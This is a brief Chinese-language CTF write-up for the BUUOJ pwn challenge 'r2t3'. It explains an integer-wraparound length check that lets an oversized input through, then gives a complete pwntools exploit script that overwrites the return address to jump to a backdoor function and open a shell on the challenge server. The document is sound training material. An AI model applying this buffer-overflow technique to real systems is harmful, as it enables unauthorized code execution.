r2t3
最簡單的一道題,可是我竟然沒有做出來,無語了,,,
文件保護沒啥好說的,,,很正常
進入name_check函數
255 ==> 255
256 ==> 0,257 ==> 1,258 ==> 2,259 ==> 3,
260 ==> 4,261 ==> 5,262 ==> 6,263 ==> 7,264 ==> 8
我覺得應該是260-264,,,但是試了一下,發現最後的長度介於256-262都可以,,,我也不知道爲什麼差了這麼幾個,,,
存在後門函數,,,
所以,我們只需要,將輸入的串覆蓋返回地址,0x11+0x4,然後將字符串長度填充成需要的長度,即可
exp:
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27400)
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
p.interactive()